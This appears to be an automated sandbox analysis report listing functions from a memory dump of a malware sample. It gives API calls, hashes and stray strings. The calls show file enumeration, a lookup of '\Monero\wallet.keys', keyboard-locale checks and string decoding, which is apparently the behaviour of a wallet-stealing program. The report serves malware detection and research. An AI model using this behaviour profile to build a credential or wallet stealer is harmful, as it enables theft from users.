Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 6025f25a974ae067bda761f99ef03d728629f531ca7113b1f7625fa69c7074e0
Instruction ID: 657f861a02882f2d322ce1ba1b83a16218c053819411782396eb43c43196ee86
Opcode Fuzzy Hash: 6025f25a974ae067bda761f99ef03d728629f531ca7113b1f7625fa69c7074e0
Instruction Fuzzy Hash: 18F180718246289ADF17FB60DC95EEE7778BF54300F5042D9A40A66091EF306F8ADF91

Function 0038DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003A14B0,003A0C2A), ref: 0038DAEB
StrCmpCA.SHLWAPI(?,003A14B4), ref: 0038DB33
StrCmpCA.SHLWAPI(?,003A14B8), ref: 0038DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0038DDCC
FindClose.KERNEL32(000000FF), ref: 0038DDDE

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4352db75c054b5525481e408a03103b11c45386ef412d974057e4cdbda4ac861
Instruction ID: 22a5c966a220b8164038bfbea6eca7a428759c6bdf09bc6190cb3fb49b186b33
Opcode Fuzzy Hash: 4352db75c054b5525481e408a03103b11c45386ef412d974057e4cdbda4ac861
Instruction Fuzzy Hash: 369124729106189BDF16FBB0EC56DED777DAF94300F408658F90A9A181EE349B0D8BD2

Function 00750949 Relevance: 11.7, Strings: 8, Instructions: 1721COMMON

Download Yara Rule

Strings

y[q, xrefs: 00750D07
!Bgk, xrefs: 00750B15
LEw{, xrefs: 00750A21
!m_, xrefs: 007513A5
aQ0:, xrefs: 007513CB
&`vf, xrefs: 00751A2C
FEur, xrefs: 00750BE6
&`vf, xrefs: 007519FE

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !m_$!Bgk$&`vf$&`vf$FEur$LEw{$aQ0:$y[q
API String ID: 0-1856721911
Opcode ID: 14cfc3f1a6c7edd4ede8ef979387953f43050d4765a76f04ac544284c4db0088
Instruction ID: 7ac733699ab3a01897b44b1b5e8c83d70fc28c93c663d662a080433dd23873d7
Opcode Fuzzy Hash: 14cfc3f1a6c7edd4ede8ef979387953f43050d4765a76f04ac544284c4db0088
Instruction Fuzzy Hash: 71B219F360C2049FE3046E2DEC8567AFBE9EF94720F1A463DEAC4C3744EA7558058696

Function 00748566 Relevance: 11.6, Strings: 8, Instructions: 1605COMMON

Download Yara Rule

Strings

no?, xrefs: 00748AD0
rZuy, xrefs: 007492AC
z]?S, xrefs: 00748692
:[=[, xrefs: 00749511
+:lg, xrefs: 00748F7A
_E?, xrefs: 007495A4
'`?, xrefs: 00748711
_", xrefs: 007488FB

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: no?$'`?$+:lg$:[=[$_"$_E?$rZuy$z]?S
API String ID: 0-3699099736
Opcode ID: 4fe426dc953ef8a303e519667bf635b0bd95278b17d6d800465cc2fc1d49e670
Instruction ID: 6ce4a91454515691e119380bb8baf5eb4f2a57eae0bb7c8adb1473e51ca0d91f
Opcode Fuzzy Hash: 4fe426dc953ef8a303e519667bf635b0bd95278b17d6d800465cc2fc1d49e670
Instruction Fuzzy Hash: 80B219F3A08200AFE304AE2DEC8567AB7E9EF94720F1A453DE6C5C7744EA3558058797

Function 0075403D Relevance: 11.6, Strings: 8, Instructions: 1564COMMON

Download Yara Rule

Strings

C2~w, xrefs: 00754C82
u}, xrefs: 007552AF
Sio=, xrefs: 0075433B
^.~, xrefs: 007552E5
&a{?, xrefs: 00754A21
:,x, xrefs: 007552F5
2\e, xrefs: 00754838
<5|+, xrefs: 0075446A

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &a{?$2\e$:,x$<5|+$C2~w$Sio=$^.~$u}
API String ID: 0-2510878995
Opcode ID: 1bbd8a41cec596eca1a57e5a2de920806fa6141c34f0a2ad2abe0c8b7f529a76
Instruction ID: baecc14b48d7ced702ab2c8d72e2c54a32d37bf489292e07bb59a09e4f8946f2
Opcode Fuzzy Hash: 1bbd8a41cec596eca1a57e5a2de920806fa6141c34f0a2ad2abe0c8b7f529a76
Instruction Fuzzy Hash: ACA2F8F3A0C2009FE3046E2DEC8567ABBE9EF94720F16893DEAC4C7744E67558058697

Function 00397B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

GetKeyboardLayoutList.USER32(00000000,00000000,003A05AF), ref: 00397BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00397BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00397C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00397C62
LocalFree.KERNEL32(00000000), ref: 00397D22

Strings

/ , xrefs: 00397C7F

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e13667c04cfc850577ac91fdb1150bd9d1f2ad6aabe688eaae2bccbd9f1c4d0d
Instruction ID: 80e97e073348eac0fe9352ec6d92739cfdacc90ccade130b803cc1e2d0414caf
Opcode Fuzzy Hash: e13667c04cfc850577ac91fdb1150bd9d1f2ad6aabe688eaae2bccbd9f1c4d0d
Instruction Fuzzy Hash: 5A415A7191062CABDF25DB94DC99BEEB7B8FF44700F204299E00966180DB342F89CFA1

Function 00755DB5 Relevance: 10.0, Strings: 7, Instructions: 1287COMMON

Download Yara Rule

Strings

aa?:, xrefs: 00755FBE
q<=, xrefs: 0075690D
Gu}, xrefs: 00756927
!6t, xrefs: 0075640B
q<=, xrefs: 0075691C
%-]~, xrefs: 00755DD9
g{, xrefs: 0075645C

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %-]~$Gu}$aa?:$q<=$q<=$g{$!6t
API String ID: 0-2122644379
Opcode ID: 16d4062ef4f9b1e01738cef17e70eb629c3959dd3236327e5b299e93c5346b7d
Instruction ID: 1ba0e817f022a031a7d998290648818f35687f2ddf4eeb3fa6df4140a8eb175a
Opcode Fuzzy Hash: 16d4062ef4f9b1e01738cef17e70eb629c3959dd3236327e5b299e93c5346b7d
Instruction Fuzzy Hash: 9C9204F360C2009FE308AF29EC8567ABBE9EF94720F16493DEAC487744E63558458797

Function 0038E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,003A0D73), ref: 0038E4A2
StrCmpCA.SHLWAPI(?,003A14F8), ref: 0038E4F2
StrCmpCA.SHLWAPI(?,003A14FC), ref: 0038E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0038EBDF

Strings

\*.*, xrefs: 0038E44D

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8e3ef79709e35466cc41d15fda64aeca2a5a074b24679d1d4ccd318790550f51
Instruction ID: 9a79cb98fdb2171a009494959310fdda1a216af0c902e4b15f9f8e1ccd601a32
Opcode Fuzzy Hash: 8e3ef79709e35466cc41d15fda64aeca2a5a074b24679d1d4ccd318790550f51
Instruction Fuzzy Hash: 2D1231719106189BDF1AFBA0DC96EED7778AF54300F4046A8B50A9A091EF306F49CFD2

Function 00389AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00384EEE,00000000,?), ref: 00389B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389B2A
LocalFree.KERNEL32(?,?,?,?,00384EEE,00000000,?), ref: 00389B3F

Strings

N8, xrefs: 00389AD4, 00389AE1, 00389AF9, 00389B18, 00389AE4, 00389B1B

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N8
API String ID: 4291131564-2731101833
Opcode ID: a513bb502861d5604315c42a6171bbd5164c24673da477becab628df20bf6783
Instruction ID: f8444c4544b980b999141e07d1bf4384ce49e32a21bf69f7758c6885d4c407b2
Opcode Fuzzy Hash: a513bb502861d5604315c42a6171bbd5164c24673da477becab628df20bf6783
Instruction Fuzzy Hash: C911D2B4241308EFEB01CF64CC95FAA77B5FB89704F208089F9159B390C7B2AA01DB90

Function 0074BA0F Relevance: 7.9, Strings: 5, Instructions: 1605COMMON

Download Yara Rule

Strings

q(_>, xrefs: 0074BCFB
jD% , xrefs: 0074CD54
w=, xrefs: 0074C6AD
jX{0, xrefs: 0074BDD0
0|-, xrefs: 0074C2F4

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0|-$jD% $jX{0$q(_>$w=
API String ID: 0-1819484939
Opcode ID: 2914506c5fc0f8c4d815bfc515650678e632ec982aac61df7262f16280cd0802
Instruction ID: 99cbb71e3c299ed204990a8670e6ec9dd78f839c07120ed8594cbb8e12b8cd90
Opcode Fuzzy Hash: 2914506c5fc0f8c4d815bfc515650678e632ec982aac61df7262f16280cd0802
Instruction Fuzzy Hash: DCB208F3A0C2009FE3046E2DEC8567ABBE9EF94720F1A453DEAC487744EA7558058697

Function 00745005 Relevance: 7.8, Strings: 5, Instructions: 1554COMMON

Download Yara Rule

Strings

"uq, xrefs: 00745954
rnw, xrefs: 00745882
&w, xrefs: 0074549B
ZvO, xrefs: 007450D5
cFy, xrefs: 00745BA8

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "uq$ZvO$cFy$rnw$&w
API String ID: 0-40677860
Opcode ID: ddb46a355eebd0309b32c2e7930e4f91ffb7ffa9b833302d957b0e906c74886b
Instruction ID: 07d0d47f2343ce296fccec9f492eea41f15595a8f93b11fc06e40f72baec9272
Opcode Fuzzy Hash: ddb46a355eebd0309b32c2e7930e4f91ffb7ffa9b833302d957b0e906c74886b
Instruction Fuzzy Hash: 17B2D4F39082009FE314AE29DC8567AFBE9EF94720F1A893DEAC4C7744E63558418797

Function 0038C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0038C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0038C87C
lstrcat.KERNEL32(?,003A0B46), ref: 0038C943
lstrcat.KERNEL32(?,003A0B47), ref: 0038C957
